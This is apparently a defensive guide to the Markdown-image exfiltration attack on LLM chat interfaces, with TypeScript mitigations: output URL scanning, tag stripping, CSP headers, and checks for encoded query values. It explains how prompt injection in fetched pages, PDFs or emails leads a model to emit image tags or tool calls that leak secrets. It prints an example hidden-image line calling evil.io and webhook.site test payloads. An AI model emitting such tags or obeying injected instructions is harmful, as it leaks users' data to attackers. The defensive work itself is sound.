Fastest fix: strip every image and link whose host is not on your allowlist from model output before it reaches the renderer, and ship a Content-Security-Policy header that limits img-src and connect-src to your own domains. Either control alone is bypassable; together they break the chain even if an injection slips through.
A prompt injection hidden in a fetched web page, a PDF, or pasted content tells the model to put a tag like  in its reply. When the chat UI renders that Markdown, the browser fires a GET to the attacker’s server, carrying the secret in the query string. The user sees a broken-image icon; the attacker reads the data in their access log. This “Markdown image exfiltration gadget” needs two things to work: an injection that makes the model emit the tag, and a UI that auto-renders Markdown and auto-loads external images. Break either link and the data stays put.
This is not theoretical. EchoLeak (CVE-2025-32711, CVSS 9.3), disclosed and patched by Microsoft in June 2025, was a zero-click version of exactly this attack against Microsoft 365 Copilot: a single crafted email chained an injection past the classifier and exfiltrated internal data through an auto-fetched image, with no user click required. The class also drives the ChatGPhish technique published in May 2026, where a summarized web page poisons ChatGPT’s own response renderer. OWASP ranks the root cause — Prompt Injection — as LLM01:2025, and the rendering flaw that lets the payload fire as LLM05:2025 (Improper Output Handling). Treat this as a known, reproducible vulnerability class, not an edge case.
Which bucket are you in?
| Symptom | Most likely cause | Go to |
|---|---|---|
Broken-image icon in a reply, unexpected GET in DevTools Network | UI auto-loads external images, no output scan | Steps 1-4 |
| Outbound request to a non-app domain with a long Base64/hex query value | Injection encoded context into the URL | Steps 1, 5 |
| Request fires from your server or an email client, not the browser | Server-side or email rendering | Steps 1-2 |
Suspicious URL in a fetch/tool-call argument, no image in prose | Tool-call exfiltration, bypasses Markdown defenses | Step 1 + Prevention |
Reply renders <img> you never sent, or a hidden display:none image | Renderer processes inline HTML | Step 4 |
Common causes
1. Markdown rendering is enabled in the chat UI without URL sanitization
The most common enabler. Markdown rendering is a legitimate feature, but it makes the browser auto-issue a GET for every image tag the model outputs, including attacker-constructed ones.
How to spot it: open browser DevTools, switch to the Network tab during a chat session, and watch the requests fired when a reply renders. Any GET to a non-application domain that the user did not explicitly trigger is suspicious. Filter by “Img” to isolate image loads.
2. The model was told by injection to produce the exfiltration URL
Exfiltration never happens without a prior injection. The injection arrives through indirect channels — fetched pages, PDFs, uploaded files, pasted text — and instructs the model to embed context variables into an image URL.
How to spot it: search the model’s raw output (before rendering) for Markdown image syntax: 
Decoding the parameter yields systemPrompt\n, confirming exfiltration was intended.
How to spot it: your scanner must URL-decode and Base64-decode query parameter values before pattern-matching, not just grep the raw URL string. Also flag query values that are simply high-entropy (long random-looking strings) even when they do not decode to a known keyword — that is how encoded secrets look.
5. Exfiltration via inline HTML, CSS background-image, or link href
Some renderers process HTML-in-Markdown, allowing image, anchor, or styled tags with external URLs:
<img src="https://evil.io?data=SECRET" style="display:none">
A display:none image still fires its request. The same applies to a CSS url() in an inline style, and to reference-style Markdown links, which were used in EchoLeak to evade link redaction.
How to spot it: check whether your Markdown renderer processes inline HTML. If it does, any src, href, or CSS url() in model output can trigger an outbound request.
6. The exfiltration URL rides in a tool-call argument, not prose
The model emits a tool call (for example fetch_url) with the attacker’s URL as the argument, encoding data in the path or query. This bypasses every Markdown-rendering defense.
How to spot it: log all tool-call arguments. Scan them for URLs with suspicious query parameters, especially values whose length and entropy match known secrets or session data.
Shortest path to fix
Step 1: Scan model output for outbound URLs before rendering
import { URL } from "url";
const ALLOWED_IMAGE_DOMAINS = new Set(["cdn.yourapp.com", "assets.yourapp.com"]);
function extractUrls(markdownText: string): string[] {
const urlPattern = /https?:\/\/[^\s\)"']+/g;
return markdownText.match(urlPattern) ?? [];
}
function containsExternalImage(markdown: string): boolean {
const imgPattern = /!\[.*?\]\((https?:\/\/[^)]+)\)/g;
let match;
while ((match = imgPattern.exec(markdown)) !== null) {
try {
const hostname = new URL(match[1]).hostname;
if (!ALLOWED_IMAGE_DOMAINS.has(hostname)) {
return true; // external image found
}
} catch {
return true; // malformed URL — flag it
}
}
return false;
}
const rawOutput = modelResponse.choices[0].message.content ?? "";
if (containsExternalImage(rawOutput)) {
logger.error({ event: "exfiltration_gadget_detected", preview: rawOutput.slice(0, 400) });
// Strip the image tags before rendering (Step 2)
}
Step 2: Strip all external image tags from model output
function stripExternalImages(markdown: string, allowedDomains: Set<string>): string {
return markdown.replace(/!\[([^\]]*)\]\((https?:\/\/[^)]+)\)/g, (match, alt, url) => {
try {
const hostname = new URL(url).hostname;
if (allowedDomains.has(hostname)) return match; // keep allowed images
} catch { /* fall through */ }
return `[image removed: ${alt}]`; // replace with safe placeholder
});
}
Do the same for autolinks and reference-style links, not just inline images. EchoLeak got past Microsoft’s link redaction precisely by using the reference-style [text][ref] form instead of inline links, so an allowlist that only matches [text](url) will miss it.
Step 3: Enforce a Content Security Policy that blocks unexpected sources
// Express middleware example
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; img-src 'self' cdn.yourapp.com data:; connect-src 'self' api.yourapp.com; script-src 'self';"
);
next();
});
Lock down connect-src as well as img-src — otherwise the model can fall back to fetch()-style exfiltration even when images are blocked. The browser then refuses to load images or open connections to domains outside the list, even if the renderer passes the tag through. Keep data: in img-src only if you actually render inline data-URI images; it is not itself an exfiltration channel. CSP is a backstop, not a complete fix: tight rendering allowlists still matter because a CSP cannot stop the model from generating the tag, and many CSP setups have bypass gadgets.
Step 4: Disable inline HTML in your Markdown renderer
import { marked } from "marked";
// Disable HTML so <img src=...> tags cannot be injected via Markdown
marked.setOptions({ mangle: false, headerIds: false });
const renderer = new marked.Renderer();
renderer.html = () => ""; // strip inline HTML entirely
const safeHtml = marked(rawOutput, { renderer });
Prefer a purpose-built sanitizer (DOMPurify with a strict tag/attribute allowlist) over hand-rolled stripping for anything that ends up as live HTML.
Step 5: Scan Base64-encoded and high-entropy query parameters
function hasEncodedExfiltration(url: string): boolean {
try {
const parsed = new URL(url);
for (const [, value] of parsed.searchParams) {
// 1) decode and keyword-match
const decoded = Buffer.from(value, "base64").toString("utf8");
if (/api.?key|secret|token|password|system.?prompt/i.test(decoded)) return true;
// 2) flag suspiciously long, high-entropy values even if they don't decode
if (value.length >= 24 && /^[A-Za-z0-9+/=_-]+$/.test(value)) return true;
}
} catch { /* not a valid URL */ }
return false;
}
Step 6: Log all URLs in model output for forensics
function logOutputUrls(output: string, sessionId: string): void {
const urls = extractUrls(output);
if (urls.length > 0) {
logger.info({ event: "model_output_urls", sessionId, urls });
}
}
How to confirm it’s fixed
- Put
into a model reply (mock the response or use a test injection) and render it. Open the webhook.site dashboard: no request should arrive. If one does, your scan or CSP is not catching it. - Open DevTools, Network tab, filter to “Img”, and confirm zero requests fire to non-allowlisted hosts when a poisoned reply renders.
- Repeat with a reference-style link
[x][1]plus[1]: https://webhook.site/YOUR-IDand with an inline<img src="https://webhook.site/YOUR-ID">to confirm both bypass forms are blocked. - Check your logs: the
exfiltration_gadget_detectedevent should fire for each blocked attempt, so you have an alerting signal, not just silent suppression.
Prevention
- Keep a strict CSP limiting
img-srcandconnect-srcto known domains; it breaks the browser-side request even if a tag renders. - Scan all model output for external URLs before rendering, and strip or allowlist them — including reference-style links and autolinks.
- Disable inline HTML in the renderer; prefer DOMPurify with a strict allowlist.
- Treat every indirect content source (fetched URLs, PDFs, uploaded files, search snippets) as a potential injection vector and scan it before it enters the model context.
- Log all URLs in model output and retain logs (for example 30 days) for retrospective incident analysis.
- Extend URL scanning to tool-call arguments, not just prose — the same gadget works through
fetch-type tools. - Alert on any reply containing more than a configured number of external URLs per session (more than 2 is anomalous for most apps).
- If you proxy images, fetch and cache them server-side so the user’s browser never connects to the source host directly — the image-proxy approach major vendors adopted after these disclosures.
FAQ
Q: Does this work in server-side rendering, where no browser is involved?
A: Yes. If the server renders the Markdown and stores the HTML, or emails it with image loading on, the GET fires from the server or the email client instead of the browser. Server-side rendering also adds SSRF exposure since the request now comes from your infrastructure. The same URL-scanning mitigation applies; server rendering is not a defense by itself.
Q: My app returns raw text and never renders Markdown — am I safe from this exact gadget?
A: From the image variant, mostly yes: unrendered text loads no images. But a tool-call exfiltration still works if the model calls a fetch-type tool with the attacker’s URL, so scan tool-call arguments too. Also re-check every place the text is later rendered: previews, PDF/HTML exports, notification emails.
Q: Can a CSP header stop this on its own?
A: A well-configured CSP stops the browser from loading external images, but it does not stop the model from generating the tag, and CSPs have well-documented bypass gadgets. Keep output scanning so you can detect and alert on the attempt even when CSP blocks the request. Lock down connect-src, not just img-src.
Q: Will DOMPurify alone block it?
A: No. DOMPurify removes XSS vectors like <script>, but a plain <img> is valid HTML it keeps by default. Add FORBID_TAGS: ['img'] (or restrict img src to your allowlist) or filter image URLs in a custom Markdown renderer before sanitizing.
Q: The vendors already patched this (EchoLeak, ChatGPT’s url_safe) — do I still need to?
A: Yes. Those fixes protect the vendors’ own first-party UIs (Microsoft’s June 2025 server-side patch for CVE-2025-32711; OpenAI’s url_safe allowlisting added around August 2025). They do nothing for your app built on the API. You render model output yourself, so you own this control.
Q: Is this a known, documented attack? A: Yes. Researchers have demonstrated the Markdown exfiltration gadget publicly since 2023 across Bing Chat, ChatGPT, Claude, Bard/Gemini, NotebookLM, and Copilot Chat. It maps to OWASP LLM01:2025 (Prompt Injection) as the root and LLM05:2025 (Improper Output Handling) as the rendering flaw, and the EchoLeak CVE made it a real-world, scored vulnerability.
Related
- Agent Leaks an API Key in Its Output
- Indirect Prompt Injection via Fetched Web Page
- Prompt Injection Embedded Inside a PDF
- Injection Bypasses the System Prompt
- Tool Output Treated as Trusted User Input
- Secret Accidentally Included in Prompt Context
- AI Follows Malicious Instructions Hidden in an Uploaded File
- Injection Carried Inside Search-Result Snippets